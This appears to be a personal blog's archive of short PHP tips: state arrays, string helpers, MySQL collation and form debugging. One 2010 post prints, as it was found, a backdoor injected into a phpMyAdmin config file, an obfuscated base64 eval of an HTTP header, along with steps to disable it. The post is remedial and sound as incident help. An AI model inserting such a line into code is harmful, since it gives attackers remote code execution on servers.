Entries Tagged 'PHP' ↓
September 7th, 2010 — PHP
A PHP Array of the States of North America, useful for database access when addresses are abbreviated
$state_list = array('AL'=>"Alabama",
'AK'=>"Alaska",
'AZ'=>"Arizona",
'AR'=>"Arkansas",
'CA'=>"California",
'CO'=>"Colorado",
'CT'=>"Connecticut",
'DE'=>"Delaware",
'DC'=>"District Of Columbia",
'FL'=>"Florida",
'GA'=>"Georgia",
'HI'=>"Hawaii",
'ID'=>"Idaho",
'IL'=>"Illinois",
'IN'=>"Indiana",
'IA'=>"Iowa",
'KS'=>"Kansas",
'KY'=>"Kentucky",
'LA'=>"Louisiana",
'ME'=>"Maine",
'MD'=>"Maryland",
'MA'=>"Massachusetts",
'MI'=>"Michigan",
'MN'=>"Minnesota",
'MS'=>"Mississippi",
'MO'=>"Missouri",
'MT'=>"Montana",
'NE'=>"Nebraska",
'NV'=>"Nevada",
'NH'=>"New Hampshire",
'NJ'=>"New Jersey",
'NM'=>"New Mexico",
'NY'=>"New York",
'NC'=>"North Carolina",
'ND'=>"North Dakota",
'OH'=>"Ohio",
'OK'=>"Oklahoma",
'OR'=>"Oregon",
'PA'=>"Pennsylvania",
'RI'=>"Rhode Island",
'SC'=>"South Carolina",
'SD'=>"South Dakota",
'TN'=>"Tennessee",
'TX'=>"Texas",
'UT'=>"Utah",
'VT'=>"Vermont",
'VA'=>"Virginia",
'WA'=>"Washington",
'WV'=>"West Virginia",
'WI'=>"Wisconsin",
'WY'=>"Wyoming");
May 6th, 2010 — PHP, Unbuntu, linux
On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You're getting hacked, but don't be scared.
The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.
Here is the whole file:
/*
* Generated configuration file
* Version: $Id: setup.php,v 1.23.2.8.2.2 2006/05/15 07:57:09 nijel Exp $
* Date: Fri, 14 Aug 2009 14:24:39 GMT
*/
/* Servers configuration */
$i = 0;
/* Server (config:root) [1] */
*$cfg['Servers'][$i]['xxx'];$z='bas'.'e64_dec'.'ode';eval($z($_SERVER['HTTP_X_CODE']));exit;#'] = 'yyy';
/* End of servers configuration */
To fix this issue, Shell into Ubuntu and Sudo up
pico /var/lib/phpmyadmin/config.inc.php
Look for the line //*$cfg['Servers'][$i]['xxx'];$z='bas'.'e64_dec'.'ode';eval($z($_SERVER['HTTP_X_CODE']));exit;#'] = 'yyy';
comment it out with //
hit ctrl+x, press y, and lets reload apache
/etc/init.d/apache2 reload
To avoid this problem:
- Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
- Use Htaccess passwords on the phpmyadmin directory
March 1st, 2010 — PHP, Web Development
This code shows how to strip http, www, or any suffixes. The most efficient way is to toss an array at str_replace. If anyone write this will all the suffixes please post in comments!
function remove_http($url){
$remove = array('http://','https://','www.','.com','.org','.net','.co.uk','.name','.info','.cc','.biz','.us','.gb','.tt');
$stripedUrl = str_replace($remove, '', $url);
return strtolower($stripedUrl);
}
Example:
<? echo remove_http("http://www.DesignCodeExecute.com") ?>
Result:
designcodeexecute
April 3rd, 2008 — MySQL, PHP, Web Development
This post teaches you how to set your MySQL search queries to be Case sensitive or case insensitive.
It's all in the database collation. MySQL by default search case insensitive. In phpMyAdmin or or Putty change the Collation of your fields. Collations that are binary search case-sensitive. Collations that end with _ci like latin1_swedish_ci are case insensitive (ci is an acrynm for case insensitive.
To change your Collations quickly run this code in a loop:
ALTER TABLE tablename CONVERT TO CHARACTER SET latin1 COLLATE latin1_swedish_ci;
February 27th, 2008 — How to, PHP
Striping the file extension is valuable on many levels. If i could have a nickel for every time I need to strip the file extension I'd have close to 3 bucks. One method to achieve stripped extensions is the PHP substr(), which takes in the String, Starting point, Ending point. To start from the end of the string use negative values. i.e. substr("my chicken", 0, -2) would make it "my chick", perfect
<?php
$my_file = "foobar.jpg";
$my_file= substr($my_file, 0 , -4);
echo $my_file;
?>
Result: foobar
Note: Spaces count, so count them!
February 25th, 2008 — PHP
Great PHP code that displays how the arrays break down when passing from HTML forms to $_POST variables.
echo "<pre>";
print_r ($_POST);
print_r ($_FILES);
echo "</pre>";
This helps when juggling multiple files or big database entries.
February 8th, 2008 — JavaScript, MySQL, PHP, Web Development
Wrote this function to check email addresses already in a database, so I dont have to change pages, and check with javascript. Problem: it exposes your whole email list to the public in the source code, and the source code can become a monster length. So it isnt practical, but it works. (I'm not using it to check emails)
The script proves useful to do other things with javascript and spawn arrays to manipulate data... etc.
function jarray(){
$sql = "SELECT * FROM table_name LIMIT 0, 100000000";
$jarray = "var your_array = new Array();\n\t\t";
$i = 0;
$q = mysql_query($sql);
while($object = mysql_fetch_object($q)){
$jarray = $jarray."your_array[{$i}] = \"{$object->field_name}\";\n\t\t";
$i++;
}
print $jarray."\n";
}
Put your own info where the Text is bold